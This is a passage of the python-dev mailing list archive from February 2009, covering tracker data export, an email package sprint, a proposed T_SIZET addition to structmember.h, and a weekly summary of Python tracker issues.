	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
Message-ID: <2d75d7660902122234g46acc245l5dd7e0052ccd2c2e@mail.gmail.com>

Daniel (ajax) Diniz wrote:
> "Martin v. L?wis" wrote:
>>> Now, getting into pie-in-the-sky territory, if someone (not logged in)
>>>  was to download all issues for scrapping and feeding to a local
>>> database, what time of day would be less disastrous for the server? :)
>>
>> I think HTML scraping is a really bad idea. What is it that you
>> specifically want to do with these data?
>
> For starters, free form searches, aggregation and filtering of
> results. The web interface is pretty good for handling individual
> issues, but not so good for adding someone as nosy to lots of issues.
>
> With some more time and effort, I'd be able to:
> Organize a local workflow with tweaked UI
>
 Send emails before they were done :D
 Use a VCS for in-progress activities
 Figure out how to serialize and submit the work done locally
 Share results with interested parties off-tracker (e.g., the
auto-nosy mentioned up-thread)

Right now, more efficient searching and aggregation along with some
(local, flexible) UI tweaks sum it up.

Maybe I can offer a patch for something like PyPI's 'simple' interface?

Cheers,
Daniel

From g.brandl at gmx.net  Fri Feb 13 09:58:19 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Fri, 13 Feb 2009 09:58:19 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
Message-ID: <gn3cnb$sdf$1@ger.gmane.org>

Daniel (ajax) Diniz schrieb:

> Over-spammig:
>   Sorry, Georg! I only noticed all issues in the Documentation
> component are auto-assigned to you today. This meant dozens of unasked
> for assignments :-/

That's okay, I'll go through them at the weekend and just unassign what
I won't manage to do.

But the nice thing about documentation changes is that while writing the
change takes about as long as changing an equivalent piece of Python code,
there's no new test and waiting for the testsuite needed (except sometimes
a spellchecker wouldn't hurt), so it's much quicker :)

Thank you for your efforts, they are much appreciated!

Georg


From barry at python.org  Fri Feb 13 14:21:50 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 13 Feb 2009 08:21:50 -0500
Subject: [Python-Dev] email package sprint?
Message-ID: <7AC0B62C-B35A-4C69-ABEE-4324F2E4EF2A@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

The email package needs a lot of love, especially for Python 3.0.  I'm  
already signed up for two sprints for Pycon, but if there's enough  
interest I would try at least to find some time to talk with others  
about improving the email package.

Those of you who are going to Pycon, is anybody available to sprint a  
bit on email?

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZVz7nEjvBPtnXfVAQK7nwQArJMjC9TVxnuuZ+4kBBD3+1pqyXbnRKa/
/nuWCfrqsW5z/RGxWdPjHf/02TCdGXsnRwGhE8bjDgawL0VnO1lTZIXjovy6JvJ0
EpFX5P9TDCuXmcCpiKAk4xKBHo6SrlGpH9A264jTzVe2ri/twVKNBGyUn3eg4tYt
ERqH8QrXHok=
=1ntw
-----END PGP SIGNATURE-----

From dickinsm at gmail.com  Fri Feb 13 16:15:52 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Fri, 13 Feb 2009 15:15:52 +0000
Subject: [Python-Dev] Adding T_SIZET to structmember.h
In-Reply-To: <e7ba66e40902121242x2180b51drcb7de29b00a5548a@mail.gmail.com>
References: <e7ba66e40902121242x2180b51drcb7de29b00a5548a@mail.gmail.com>
Message-ID: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com>

On Thu, Feb 12, 2009 at 8:42 PM, Lisandro Dalcin <dalcinl at gmail.com> wrote:
> I would like to propose the inclusion of a new T_SIZET in structmember.h
> in order to suport 'size_t' struct fields with PyMemberDef. Would such
> addition be accepted for 2.7 and 3.1?

Please open a feature request at bugs.python.org, and we'll find out!  A
working patch would probably be helpful.

(It sounds like a sensible addition to me.)

Mark

From dalcinl at gmail.com  Fri Feb 13 16:44:37 2009
From: dalcinl at gmail.com (Lisandro Dalcin)
Date: Fri, 13 Feb 2009 13:44:37 -0200
Subject: [Python-Dev] Adding T_SIZET to structmember.h
In-Reply-To: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com>
References: <e7ba66e40902121242x2180b51drcb7de29b00a5548a@mail.gmail.com>
	<5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com>
Message-ID: <e7ba66e40902130744s4a14c9a0n5dfed4b5905775d5@mail.gmail.com>

Done, http://bugs.python.org/issue5248

Mark, the patch is not trivial, I cannot spend time on this until this
is accepted. Hope you understand.

On Fri, Feb 13, 2009 at 1:15 PM, Mark Dickinson <dickinsm at gmail.com> wrote:
> On Thu, Feb 12, 2009 at 8:42 PM, Lisandro Dalcin <dalcinl at gmail.com> wrote:
>> I would like to propose the inclusion of a new T_SIZET in structmember.h
>> in order to suport 'size_t' struct fields with PyMemberDef. Would such
>> addition be accepted for 2.7 and 3.1?
>
> Please open a feature request at bugs.python.org, and we'll find out!  A
> working patch would probably be helpful.
>
> (It sounds like a sensible addition to me.)
>
> Mark
>



-- 
Lisandro Dalc?n
---------------
Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC)
Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC)
Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET)
PTLC - G?emes 3450, (3000) Santa Fe, Argentina
Tel/Fax: +54-(0)342-451.1594

From status at bugs.python.org  Fri Feb 13 18:07:39 2009
From: status at bugs.python.org (Python tracker)
Date: Fri, 13 Feb 2009 18:07:39 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20090213170740.16F5D785EB@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (02/06/09 - 02/13/09)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue 
number.  Do NOT respond to this message.


 2352 open (+56) / 14720 closed (+22) / 17072 total (+78)

Open issues with patches:   803

Average duration of open issues: 682 days.
Median duration of open issues: 423 days.

Open Issues Breakdown
   open  2328 (+55)
pending    24 ( +1)

Issues Created Or Reopened (82)
_______________________________

Separate build dir broken                                        02/12/09
       http://bugs.python.org/issue4151    reopened doko                      
       patch                                                                   

Disabling test_ttk_guionly on mac                                02/09/09
       http://bugs.python.org/issue5120    reopened gpolo                     
       patch                                                                   

Default hash not equal to id on AMD Sempron                      02/09/09
       http://bugs.python.org/issue5169    reopened jcea                      
                                                                               

python-dev tracker summary emails contain incorrect "median dura 02/06/09
CLOSED http://bugs.python.org/issue5172    created  exarkun                   
                                                                               

"What's new" claims StandardError was removed in 2.6             02/06/09
CLOSED http://bugs.python.org/issue5173    created  mjwpp                     
                                                                               

xmlrpclib docs include incorrect file closing                    02/06/09
CLOSED http://bugs.python.org/issue5174    created  ironfroggy                
       patch                                                                   

negative PyLong -> C unsigned integral, TypeError or OverflowErr 02/06/09
CLOSED http://bugs.python.org/issue5175    created  dalcinl                   
       patch                                                                   

Special-case string formatting in BINARY_MODULO implementation   02/06/09
       http://bugs.python.org/issue5176    created  collinwinter              
       patch, patch, needs review                                              

multiprocessing: SocketListener should use SO_REUSEADDR          02/07/09
       http://bugs.python.org/issue5177    created  jon_dee                   
                                                                               

Add context manager for temporary directory                      02/07/09
       http://bugs.python.org/issue5178    created  nascheme                  
       patch                                                                   

subprocess leaves open fds on construction error                 02/07/09
       http://bugs.python.org/issue5179    created  georg.brandl              
                                                                               

3.1 cannot unpickle 2.7-created pickle                           02/07/09
       http://bugs.python.org/issue5180    created  pitrou                    
                                                                               

test_urllib failures on the 3.1 buildbots                        02/08/09
CLOSED http://bugs.python.org/issue5181    reopened benjamin.peterson         
                                                                               

str() on memoryview of bytearray failing on py3k                 02/08/09
CLOSED http://bugs.python.org/issue5182    created  mhammond                  
                                                                               

wsgiref.simple_server not working                                02/08/09
CLOSED http://bugs.python.org/issue5183    created  StephenDay                
                                                                               

Add -3 warning for extension types that implement tp_compare but 02/08/09
       http://bugs.python.org/issue5184    created  marketdickinson           
                                                                               

Idle doesn't work on 2.6 on Macbook                              02/08/09
CLOSED http://bugs.python.org/issue5185    created  jeaub23                   
                                                                               

Reduce hash collisions for objects with no __hash__ method       02/08/09
CLOSED http://bugs.python.org/issue5186    created  marketdickinson           
       patch                                                                   

distutils upload should prompt for the user/password too         02/08/09
       http://bugs.python.org/issue5187    created  tarek                     
                                                                               

telnetlib process_rawq buffer handling is confused               02/08/09
       http://bugs.python.org/issue5188    created  dugan                     
       patch                                                                   

test_cmd_line failure on the OS X buildbot                       02/09/09
CLOSED http://bugs.python.org/issue5189    created  pitrou                    
                                                                               

optparse doex not export make_option                             02/09/09
       http://bugs.python.org/issue5190    created  bluebird                  
                                                                               

Partial function application 'from the right'                    02/09/09
       http://bugs.python.org/issue5191    created  bennorth                  
       patch                                                                   

Update log message formatting.                                   02/09/09
       http://bugs.python.org/issue5192    created  LambertDW                 
                                                                               

Guarantee that Tkinter.Text.search returns a string              02/09/09
       http://bugs.python.org/issue5193    created  gpolo                     
       patch                                                                   

OS X IDLE.app and bin/idle: missing/extra menu options           02/10/09
       http://bugs.python.org/issue5194    created  nad                       
                                                                               

OS X IDLE.app and bin/idle: incorrect key defaults in 3.x        02/10/09
CLOSED http://bugs.python.org/issue5195    created  nad                       
                                                                               

OS X IDLE.app: may not launch on 3.x                             02/10/09
CLOSED http://bugs.python.org/issue5196    created  nad                       
                                                                               

vars() assignment fails silently when assignments made later     02/10/09
CLOSED http://bugs.python.org/issue5197    created  pest                      
                                                                               

Strange DeprecationWarning behaviour in module struct            02/10/09
       http://bugs.python.org/issue5198    created  hagen                     
                                                                               

warns vars() assignment as well as locals()                      02/10/09
       http://bugs.python.org/issue5199    created  ocean-city                
       patch                                                                   

unicode.normalize gives wrong result for some characters         02/10/09
CLOSED http://bugs.python.org/issue5200    created  PeterL                    
                                                                               

Using LDFLAGS='-rpath=\$$LIB:/some/other/path' ./configure break 02/10/09
       http://bugs.python.org/issue5201    created  flub                      
                                                                               

wave.py cannot write wave files into a shell pipeline            02/10/09
       http://bugs.python.org/issue5202    created  drj                       
       patch                                                                   

ctypes segfaults when passing a unicode string to a function wit 02/10/09
CLOSED http://bugs.python.org/issue5203    created  amaury.forgeotdarc        
                                                                               

test.os/TestInvalidFD/test_fdopen on VC6                         02/10/09
CLOSED http://bugs.python.org/issue5204    created  ocean-city                
       patch                                                                   

String Formatting with namedtuple                                02/10/09
       http://bugs.python.org/issue5205    created  lieryan                   
                                                                               

with context object for unittest assertRaises()                  02/10/09
CLOSED http://bugs.python.org/issue5206    created  blais                     
                                                                               

extend strftime/strptime format for RFC3339 and RFC2822          02/10/09
       http://bugs.python.org/issue5207    created  davydov                   
                                                                               

urllib2.build_opener(                                            02/10/09
       http://bugs.python.org/issue5208    created  mjb                       
                                                                               

nntplib needs updating to RFC 3977                               02/10/09
       http://bugs.python.org/issue5209    created  travis                    
       patch                                                                   

zlib does not indicate end of compressed stream properly         02/10/09
       http://bugs.python.org/issue5210    created  travis                    
       patch                                                                   

Fix complex type to avoid coercion in 2.7.                       02/10/09
       http://bugs.python.org/issue5211    created  marketdickinson           
       easy                                                                    

Incorrect note about md5 in hmac module documentation            02/11/09
       http://bugs.python.org/issue5212    created  brainsik                  
                                                                               

_resolve_name in importlib/__init__.py left an index on rindex u 02/11/09
       http://bugs.python.org/issue5213    created  gpolo                     
       patch, easy                                                             

Add KOI8-RU as a known encoding                                  02/11/09
       http://bugs.python.org/issue5214    created  dwayne                    
                                                                               

change value of local variable in debug                          02/11/09
       http://bugs.python.org/issue5215    created  mproeller                 
                                                                               

distutils.tests.test_build_ext.BuildExtTestCase fails when srcdi 02/11/09
       http://bugs.python.org/issue5216    created  doko                      
                                                                               

testExtractDir (test.test_zipfile.TestWithDirectory) fails when  02/11/09
       http://bugs.python.org/issue5217    created  doko                      
                                                                               

Check for tp_iter in ceval:ext_do_call before overriding excepti 02/11/09
       http://bugs.python.org/issue5218    created  gpolo                     
       patch                                                                   

IDLE: slowness, pauses enter long strings                        02/11/09
       http://bugs.python.org/issue5219    created  pyJohn                    
                                                                               

os.makedirs' mode argument has bad default value                 02/11/09
CLOSED http://bugs.python.org/issue5220    created  jab                       
                                                                               

help  related topic doesn't exist                                02/11/09
       http://bugs.python.org/issue5221    created  LambertDW                 
                                                                               

Please include AutoScroll and create_container in pyttk and Tkin 02/12/09
CLOSED http://bugs.python.org/issue5222    created  rozen                     
                                                                               

infinite recursion in PyErr_WriteUnraisable                      02/12/09
       http://bugs.python.org/issue5223    created  ldeller                   
                                                                               

OS X installer: "Update Shell Profile" script is not updated     02/12/09
       http://bugs.python.org/issue5224    reopened ronaldoussoren            
                                                                               

OS X "Update Shell Profile" may not update $PATH if run more tha 02/12/09
       http://bugs.python.org/issue5225    created  nad                       
                                                                               

OS X installer: Welcome and Readme files are out-of-date         02/12/09
       http://bugs.python.org/issue5226    reopened ronaldoussoren            
                                                                               

Py_Main() does not return on sys.exit()                          02/12/09
       http://bugs.python.org/issue5227    created  Rogi                      
                                                                               

multiprocessing not compatible with functools.partial            02/12/09
       http://bugs.python.org/issue5228    created  ndbecker                  
                                                                               

Documentation for super() neglects to say what super() actually  02/12/09
       http://bugs.python.org/issue5229    created  stutzbach                 
                                                                               

pydoc reports misleading failure if target module raises an Impo 02/12/09
       http://bugs.python.org/issue5230    created  exarkun                   
                                                                               

Change format of a memoryview                                    02/12/09
       http://bugs.python.org/issue5231    created  pitrou                    
                                                                               

Setting font from preference dialog in IDLE on OS X broken       02/12/09
       http://bugs.python.org/issue5232    created  MLModel                   
                                                                               

Enhance 2.7 IDLE to exec IDLESTARTUP/PYTHONSTARTUP on restart    02/12/09
       http://bugs.python.org/issue5233    created  MLModel                   
       patch                                                                   

Enhance 3.1 IDLE to exec IDLESTARTUP/PYTHONSTARTUP on restart    02/12/09
       http://bugs.python.org/issue5234    created  MLModel                   
       patch                                                                   

distutils seems to only work with VC++ 2008 (9.0)                02/12/09
       http://bugs.python.org/issue5235    created  eswenson                  
                                                                               

time.strptime should reject bytes arguments on Py3               02/12/09
       http://bugs.python.org/issue5236    created  ezio.melotti              
                                                                               

Allow auto-numbered replacement fields in str.format() strings   02/12/09
       http://bugs.python.org/issue5237    created  tjreedy                   
                                                                               

ssl makefile never closes socket                                 02/13/09
       http://bugs.python.org/issue5238    created  dugan                     
       patch                                                                   

Change time.strptime() to make it work with Unicode chars        02/13/09
       http://bugs.python.org/issue5239    created  ezio.melotti              
       patch                                                                   

time.strptime fails to match data and format with Unicode whites 02/13/09
CLOSED http://bugs.python.org/issue5240    created  ezio.melotti              
                                                                               

Missing flags in the Regex howto                                 02/13/09
       http://bugs.python.org/issue5241    created  ezio.melotti              
                                                                               

eval() function in List Comprehension doesn't work               02/13/09
       http://bugs.python.org/issue5242    created  JiafeiPeng                
                                                                               

Missing dependency in distutils build                            02/13/09
       http://bugs.python.org/issue5243    created  do3cc                     
       patch                                                                   

Python 3.0 eval() function in List Comprehension doesn't work    02/13/09
CLOSED http://bugs.python.org/issue5244    created  JiafeiPeng                
                                                                               

PyRun_SimpleStringFlags() documentation                          02/13/09
       http://bugs.python.org/issue5245    created  Rogi                      
                                                                               

test.test_hashlib.HashLibTestCase fails on darwin                02/13/09
CLOSED http://bugs.python.org/issue5246    created  tarek                     
                                                                               

Unhelpful error message with str.format()                        02/13/09
       http://bugs.python.org/issue5247    created  pitrou                    
                                                                               

Adding T_SIZET to structmember.h                                 02/13/09
       http://bugs.python.org/issue5248    created  dalcinl                   
                                                                               

Fix strftime on windows.                                         02/13/09
       http://bugs.python.org/issue5249    created  ocean-city                
       patch                                                                   

socket.inet_aton returns 8 bytes on LP64 platforms               02/10/09
       http://bugs.python.org/issue1008086 reopened pitrou                    
       64bit, easy                                                             



Issues Now Closed (98)
______________________

complex constructor loses signs of zeros                          442 days
       http://bugs.python.org/issue1507    marketdickinson           
                                                                               

webbrowser.open firefox 3 issues                                  385 days
       http://bugs.python.org/issue1911    georg.brandl              
       patch, easy                                                             

shutil.destinsrc returns wrong result when source path matches b  366 days
       http://bugs.python.org/issue2047    orsenthil                 
       patch, easy                                                             

Make structseq more like collections.namedtuple                   331 days
       http://bugs.python.org/issue2308    ajaksu2                   
                                                                               

Fixed block ordering code in compiler.pyassem                     319 days
       http://bugs.python.org/issue2472    pitrou                    
       patch                                                                   

2to3 doesn't correct divisions                                    278 days
       http://bugs.python.org/issue2805    benjamin.peterson         
                                                                               

re.IGNORECASE not Unicode-ready                                   277 days
       http://bugs.python.org/issue2834    ezio.melotti              
       patch                                                                   

importing with_statement causes exec to raise syntax error on bl  210 days
       http://bugs.python.org/issue3370    ajaksu2                   
                                                                               

[PATCH] distutils.sysconfig.get_python_lib prefix argument broke  209 days
       http://bugs.python.org/issue3386    tarek                     
       patch                                                                   

Undetected error in _struct.pack_into                             170 days
       http://bugs.python.org/issue3694    marketdickinson           
       patch                                                                   

SystemError on calling len() if __len__() doesn't return an int   165 days
       http://bugs.python.org/issue3729    benjamin.peterson         
       patch                                                                   

subclassing complex                                               168 days
       http://bugs.python.org/issue3734    georg.brandl              
       patch                                                                   

_sha256 et al. encode to UTF-8 by default                         165 days
       http://bugs.python.org/issue3745    gregory.p.smith           
       26backport                                                              

python-2.6b3.msi and python-2.6b3.amd64.msi can't both be instal  154 days
       http://bugs.python.org/issue3833    gpolo                     
                                                                               

Script: find untested C functions                                 152 days
       http://bugs.python.org/issue3844    ajaksu2                   
                                                                               

removed string and type usage from distutils.cmd [patch]          132 days
       http://bugs.python.org/issue3986    tarek                     
       patch                                                                   

Regression for executing packages                                 106 days
       http://bugs.python.org/issue4195    ncoghlan                  
       patch                                                                   

should socket readline() use default_bufsize instead of _rbufsiz   75 days
       http://bugs.python.org/issue4448    krisvale                  
                                                                               

Add get_filename method to zipimport                               66 days
       http://bugs.python.org/issue4512    ncoghlan                  
       patch                                                                   

Py_IS_INFINITY defect causes test_cmath failure on x86             64 days
       http://bugs.python.org/issue4575    marketdickinson           
       patch                                                                   

urlopen returns extra, spurious bytes                              62 days
       http://bugs.python.org/issue4631    pitrou                    
       patch                                                                   

Update pybench for python 3.0                                      49 days
       http://bugs.python.org/issue4704    pitrou                    
       patch                                                                   

PyInt_FromSsize_t LONG_MIN and LONG_MAX typecasts needed           34 days
       http://bugs.python.org/issue4880    marketdickinson           
                                                                               

handling empty text search pattern in tkinter                      31 days
       http://bugs.python.org/issue4890    gpolo                     
       patch                                                                   

Docs for urllib.request.HTTPRedirectHandler.redirect_request mis   35 days
       http://bugs.python.org/issue4894    georg.brandl              
       patch, easy                                                             

Remove uses of nb_long slot, and rename to nb_reserved.            32 days
       http://bugs.python.org/issue4910    marketdickinson           
       patch                                                                   

__slots__ on Fraction is useless                                   24 days
       http://bugs.python.org/issue4998    marketdickinson           
       patch                                                                   

itertools.count step                                               21 days
       http://bugs.python.org/issue5032    LambertDW                 
                                                                               

test_tcl and test_ttk_guionly don't like each other                 9 days
       http://bugs.python.org/issue5122    gpolo                     
       patch                                                                   

compileall: consider ctime                                          7 days
       http://bugs.python.org/issue5128    brett.cannon              
       patch                                                                   

Compiler warnings in sqlite module                                  8 days
       http://bugs.python.org/issue5134    loewis                    
       patch                                                                   

SystemError when __len__ returns a non-number                       7 days
       http://bugs.python.org/issue5137    hagen                     
       patch                                                                   

File Reload for IDLE                                                8 days
       http://bugs.python.org/issue5138    rhettinger                
                                                                               

OS X: Py_SetProgramName argument has type char*; should be wchar    9 days
       http://bugs.python.org/issue5143    ronaldoussoren            
                                                                               

IDLE exits with UnicodeDecodeError on Ctrl+Space                    3 days
       http://bugs.python.org/issue5156    gpolo                     
                                                                               

Document distutils 'depends' option for extensions                  8 days
       http://bugs.python.org/issue5158    tarek                     
       patch                                                                   

Intermittant segmentation fault with ctrl-c (threads and queues)    3 days
       http://bugs.python.org/issue5160    ocean-city                
                                                                               

logging to file + encoding                                          2 days
       http://bugs.python.org/issue5170    vsajip                    
                                                                               

itertools.product docstring missing 'repeat' argument               3 days
       http://bugs.python.org/issue5171    rhettinger                
                                                                               

python-dev tracker summary emails contain incorrect "median dura    0 days
       http://bugs.python.org/issue5172    benjamin.peterson         
                                                                               

"What's new" claims StandardError was removed in 2.6                0 days
       http://bugs.python.org/issue5173    georg.brandl              
                                                                               

xmlrpclib docs include incorrect file closing                       1 days
       http://bugs.python.org/issue5174    georg.brandl              
       patch                                                                   

negative PyLong -> C unsigned integral, TypeError or OverflowErr    4 days
       http://bugs.python.org/issue5175    marketdickinson           
       patch                                                                   

test_urllib failures on the 3.1 buildbots                           0 days
       http://bugs.python.org/issue5181    krisvale                  
                                                                               

str() on memoryview of bytearray failing on py3k                    0 days
       http://bugs.python.org/issue5182    benjamin.peterson         
                                                                               

wsgiref.simple_server not working                                   0 days
       http://bugs.python.org/issue5183    georg.brandl              
                                                                               

Idle doesn't work on 2.6 on Macbook                                 0 days
       http://bugs.python.org/issue5185    benjamin.peterson         
                                                                               

Reduce hash collisions for objects with no __hash__ method          5 days
       http://bugs.python.org/issue5186    pitrou                    
       patch                                                                   

test_cmd_line failure on the OS X buildbot                          0 days
       http://bugs.python.org/issue5189    benjamin.peterson         
                                                                               

OS X IDLE.app and bin/idle: incorrect key defaults in 3.x           3 days
       http://bugs.python.org/issue5195    ronaldoussoren            
                                                                               

OS X IDLE.app: may not launch on 3.x                                3 days
       http://bugs.python.org/issue5196    ronaldoussoren            
                                                                               

vars() assignment fails silently when assignments made later        0 days
       http://bugs.python.org/issue5197    ocean-city                
                                                                               

unicode.normalize gives wrong result for some characters            1 days
       http://bugs.python.org/issue5200    loewis                    
                                                                               

ctypes segfaults when passing a unicode string to a function wit    0 days
       http://bugs.python.org/issue5203    theller                   
                                                                               

test.os/TestInvalidFD/test_fdopen on VC6                            1 days
       http://bugs.python.org/issue5204    ocean-city                
       patch                                                                   

with context object for unittest assertRaises()                     0 days
       http://bugs.python.org/issue5206    rhettinger                
                                                                               

os.makedirs' mode argument has bad default value                    0 days
       http://bugs.python.org/issue5220    jab                       
                                                                               

Please include AutoScroll and create_container in pyttk and Tkin    0 days
       http://bugs.python.org/issue5222    loewis                    
                                                                               

time.strptime fails to match data and format with Unicode whites    0 days
       http://bugs.python.org/issue5240    ocean-city                
                                                                               

Python 3.0 eval() function in List Comprehension doesn't work       0 days
       http://bugs.python.org/issue5244    georg.brandl              
                                                                               

test.test_hashlib.HashLibTestCase fails on darwin                   0 days
       http://bugs.python.org/issue5246    pitrou                    
                                                                               

re incompatibility in sre                                        3076 days
       http://bugs.python.org/issue214033  ajaksu2                   
                                                                               

[IDLE] auto indent/parentheses                                   2908 days
       http://bugs.python.org/issue404444  ajaksu2                   
                                                                               

xdrlib allow subclass for file access                            2703 days
       http://bugs.python.org/issue461890  loewis                    
                                                                               

Creation of struct_seq types                                     2307 days
       http://bugs.python.org/issue624827  rhettinger                
                                                                               

print to unicode stream should __unicode                         2284 days
       http://bugs.python.org/issue637094  lemburg                   
                                                                               

GNU readline version confusion                                   2236 days
       http://bugs.python.org/issue660095  haypo                     
                                                                               

extend readline functionality in pdb                             2193 days
       http://bugs.python.org/issue684944  benjamin.peterson         
       patch                                                                   

lower-level API for longs                                        2127 days
       http://bugs.python.org/issue722647  marketdickinson           
                                                                               

socket.inet_aton on 64bit platform                               2046 days
       http://bugs.python.org/issue767150  gregory.p.smith           
       64bit                                                                   

button methods tkButtonDown, etc don't work                      2030 days
       http://bugs.python.org/issue775309  gpolo                     
                                                                               

new function 'islastline' in fileinput                           2031 days
       http://bugs.python.org/issue776100  ajaksu2                   
                                                                               

socketmodule.c connection handling incorect on windows           2030 days
       http://bugs.python.org/issue777597  ajaksu2                   
                                                                               

Minor FP bug in object.c                                         2004 days
       http://bugs.python.org/issue789290  marketdickinson           
       patch                                                                   

test_locale and en_US                                            1962 days
       http://bugs.python.org/issue815668  ajaksu2                   
                                                                               

fcntl() not working on sparc/linux (python 2.2.3)                1951 days
       http://bugs.python.org/issue821948  loewis                    
                                                                               

getpos() for sgmllib                                             1869 days
       http://bugs.python.org/issue868908  ajaksu2                   
                                                                               

email.Header.Header() produces wrong headers with utf8 enc.      1779 days
       http://bugs.python.org/issue924806  barry                     
                                                                               

threads duplicated on fork() prevent child from terminating      1666 days
       http://bugs.python.org/issue994023  benjamin.peterson         
                                                                               

Compiler module doesn't handle global statement correctly        1655 days
       http://bugs.python.org/issue999042  nascheme                  
                                                                               

PEP 263: help locating the offending character                   1649 days
       http://bugs.python.org/issue1004533 loewis                    
                                                                               

distutils.core.setup() with unicode arguments broken             1534 days
       http://bugs.python.org/issue1076233 doerwalter                
                                                                               

raw_input problem with readline and UTF8                         1486 days
       http://bugs.python.org/issue1103023 benjamin.peterson         
                                                                               

email.base64MIME.header_encode vs RFC 1522                       1486 days
       http://bugs.python.org/issue1103926 ajaksu2                   
                                                                               

marshal may crash on truncated input                             1457 days
       http://bugs.python.org/issue1122301 benjamin.peterson         
                                                                               

New fpconst module                                               1447 days
       http://bugs.python.org/issue1151323 marketdickinson           
       patch                                                                   

explicit sign variable for longs                                 1406 days
       http://bugs.python.org/issue1177779 loewis                    
       patch                                                                   

csv.reader endless loop                                          1154 days
       http://bugs.python.org/issue1381476 ajaksu2                   
                                                                               

random module - Provider DLL failed to initialize correctly      1149 days
       http://bugs.python.org/issue1384175 loewis                    
                                                                               

libpython2.4.so get not installed                                1131 days
       http://bugs.python.org/issue1397850 loewis                    
                                                                               

re search infinite loop                                          1064 days
       http://bugs.python.org/issue1448325 mrabarnett                
                                                                               

urllib2 httplib _read_chunked timeout                             919 days
       http://bugs.python.org/issue1537445 georg.brandl              
                                                                               

python compiler support for with stmt                             900 days
       http://bugs.python.org/issue1544277 nascheme                  
                                                                               

RE (regular expression) matching stuck in loop                    867 days
       http://bugs.python.org/issue1566086 mrabarnett                
                                                                               

incomplete numerical comparisons                                  762 days
       http://bugs.python.org/issue1633648 marketdickinson           
                                                                               

base64.urlsafe_b64encode() shouldn't use the = character          728 days
       http://bugs.python.org/issue1661108 georg.brandl              
                                                                               

tkinter memory leak problem                                       612 days
       http://bugs.python.org/issue1731706 gpolo                     
       patch                                                                   

repr of 'nan' floats not parseable                                615 days
       http://bugs.python.org/issue1732212 loewis                    
                                                                               



Top Issues Most Discussed (10)
______________________________

 41 Reduce hash collisions for objects with no __hash__ method         5 days
closed  http://bugs.python.org/issue5186   

 11 wave.py cannot write wave files into a shell pipeline              3 days
open    http://bugs.python.org/issue5202   

 11 test_tcl and test_ttk_guionly don't like each other                9 days
closed  http://bugs.python.org/issue5122   

 10 Change time.strptime() to make it work with Unicode chars          1 days
open    http://bugs.python.org/issue5239   

 10 Allow auto-numbered replacement fields in str.format() strings     1 days
open    http://bugs.python.org/issue5237   

  9 unicode.normalize gives wrong result for some characters           1 days
closed  http://bugs.python.org/issue5200   

  9 negative PyLong -> C unsigned integral, TypeError or OverflowEr    4 days
closed  http://bugs.python.org/issue5175   

  9 _sha256 et al. encode to UTF-8 by default                        165 days
closed  http://bugs.python.org/issue3745   

  8 HTTPResponse instance has no attribute 'fileno'                 1216 days
open    http://bugs.python.org/issue1327971

  7 urllib doesn't correct server returned urls                     1794 days
open    http://bugs.python.org/issue918368 




From ajaksu at gmail.com  Fri Feb 13 20:09:05 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Fri, 13 Feb 2009 17:09:05 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
	<200902121434.17723.victor.stinner@haypocalc.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
	<499509FA.5030607@v.loewis.de>
	<2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
Message-ID: <2d75d7660902131109o2cdb85der516f1397492dce91@mail.gmail.com>

Daniel (ajax) Diniz wrote:
> "Martin v. L?wis" wrote:
>> I think HTML scraping is a really bad idea. What is it that you
>> specifically want to do with these data?
>
> For starters, free form searches, aggregation and filtering of
> results. The web interface is pretty good for handling individual
> issues, but not so good for adding someone as nosy to lots of issues.

I should have thought of this earlier: I'm downloading A CSV file
(displaying all fields) with all issues and will insert that into a DB
(maybe through my local tracker instance). Thanks for asking the
'think about it' question! :)

Daniel

From ajaksu at gmail.com  Fri Feb 13 20:36:54 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Fri, 13 Feb 2009 17:36:54 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <bbaeab100902121659v2c7e0880k21f8dcb7e2561bdf@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
	<87zlgrrxr3.fsf@xemacs.org>
	<2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com>
	<bbaeab100902121659v2c7e0880k21f8dcb7e2561bdf@mail.gmail.com>
Message-ID: <2d75d7660902131136i702698d7h7cbda7d2bd6b6a79@mail.gmail.com>

Brett Cannon wrote:
